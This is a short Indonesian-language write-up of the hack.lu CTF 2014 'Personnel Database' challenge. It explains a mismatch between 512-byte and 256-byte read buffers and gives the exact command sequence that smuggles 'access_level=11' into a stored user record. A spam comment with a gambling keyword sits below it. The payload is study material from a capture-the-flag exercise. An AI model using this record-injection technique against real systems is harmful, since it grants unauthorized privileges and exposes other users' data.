Thursday, October 23, 2014

HACK.LU CTF 2014: Personnel Database

Kita diberikan source code ke sebuah service. Ketika register kita mendapatkan level terendah, dan kita hanya bisa membaca info milik boss jika memiliki level tertinggi.

Kelemahan service ini adalah: buffer yang digunakan untuk menulis besarnya tidak sama dengan membaca. Ketika mendapatkan input dari user:

char line[512]; /* last incoming command */
while (printf("> "), fgets(line, sizeof(line), stdin)) {
rtrim(line);

Dan ketika membaca dari file:


char line[256];
while (fgets(line, sizeof(line), f)) {

512 vs 256. Karena fgets dipakai, maka satu “baris” menjadi max 256 line. Jika kita memberikan deskripsi lebih dari 256 karakter, maka sisanya akan dianggap baris berikutnya.


Perintah ini cukup untuk mendapatkan flagnya:


 


register yohanes:yohanes1
set_description ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ123456789access_level=11
logout
user yohanes
pass yohanes1
whois boss
personnel

1 comment:

  1. The sport testers ought to have a clear understanding of the game test perquisites and sport test cases. Here’s an example of how Playtika have applied this to nice 룰렛 effect with their sport Slotomania, which contains a customised progression system for various levels of problem. This website is utilizing a security service to protect itself from online assaults. The action you simply performed triggered the safety answer.

    ReplyDelete